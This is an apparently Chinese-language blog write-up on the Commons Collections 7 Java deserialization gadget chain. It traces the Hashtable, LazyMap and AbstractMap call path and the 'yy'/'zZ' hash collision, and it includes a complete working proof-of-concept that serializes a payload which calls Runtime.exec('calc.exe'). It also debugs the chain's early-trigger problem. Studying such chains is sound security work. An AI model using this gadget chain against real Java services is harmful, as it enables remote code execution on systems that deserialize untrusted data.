CC7分析
CommonsCollections7
利用链
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
分析
Hashtable

这个readObject方法前面就是简单的读取JAVA类里面的序列化数据这里值得注意的是我们
Entry是一个数据结构,这个类里存放了key和value,是许多map和set的底层数据结构
所以我们就来看看这个重要的for循环,这里面从序列化的数据流里面读取我们的key和value,这里肯定就是要使用put方法
hashtable.reconstitutionPut
reconstitutionPut(table, key, value);
刚看到这个的想法就是,把key和value写入Entry这个数据结构里面,进入reconsrtitutionPut
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
}
这里我们的视角就该锁定在for循环这里,因为我们当时学其他链子的时候hash方法是很常用的 ,这里进入for循环的条件就是tab这个数组里面的值不能为零,执行循环,每次table的值都是上一次的键值,所以我们这里进行两次put方法。
然后就来说说这个if判断语句
if ((e.hash == hash) && e.key.equals(key))
e.hash==hash,这里存在着布尔短路的特性,就是if语句中前一个条件不成立会自动结束判断条件,所以为了这里能够触发equals,需要滿足前一个条件,我们首先得知道这个e到底是什么,
Entry e = tab[index] ; e != null ; e = e.next
这里只能看出e是一个Entry类型,继续看看这个index是什么
int index = (hash & 0x7FFFFFFF) % tab.length
大概意思就是先计算出 key 的 hash 值, index 就是个索引,通过索引得到 table 里面的 hashmap 值,这个 next 是个 null 。
找到计算hashcode的地方

我们找到两个hash值相同的,官方的是yy和Zz
因为调用链是使用LazyMap.get方法,所以实际上我们实现调用的equal方法是lazymap.equal,但是lazymap是没有这个方法的,所以我们直接找到父类
AbstractMapDecorator#equals

再进入AbstractMap#equals

显然这里需要我们的m是LazyMap,完成LazyMap.get,这里通过getKey方法就完成了对get方法的调用。
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.util.AbstractMap;
import java.lang.String;
public class cc7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC.cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC.cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
POC分析和调试
Put方法问题解决
我们上面的poc运行的时候会发现一个致命的问题,就是我们不能rce了

很显然这里提前调用了get方法,将yy写入了里面,然后导致了我们的transformer无法传入
poc里面是存在put方法的,我们在学习CC6的时候为了避免put方法提前触发RCE
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
这里我们就让他先为空,后面反射修改就好
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
然后就是实例化一个hashmap类,put两个相同的值进去,再传入hashtable里面
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
lazyMap2.remove("yy");
通过反射获取ChainedTransformer的iTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers;
最后还要remove掉yy,应为如果不去掉的话,就会触发HashMap.get方法

这样的话就不会触发transform方法,断掉了链子。
lazyMap2.remove("yy");
fakeTransformer


这里为了防止触发两次rce,这里的put方法会和之前的equals方法重合,调用里面的transform方法,所以我们这里可以先设置一个空的Transformer,规避进行put方法调用transform达到RCE。
哈希碰撞分析
这里首先来到hashcode的调用点

然后进入AbstractMapDecotor#hashcoe

因为这个类是继承于HashMap这个类,所以我们跟进hashmap.hashcode

继续跟进就发现这个是在String.java里面的

yy=31*121+121=3872
zZ=3872
zZ^1=3873

浙公网安备 33010602011771号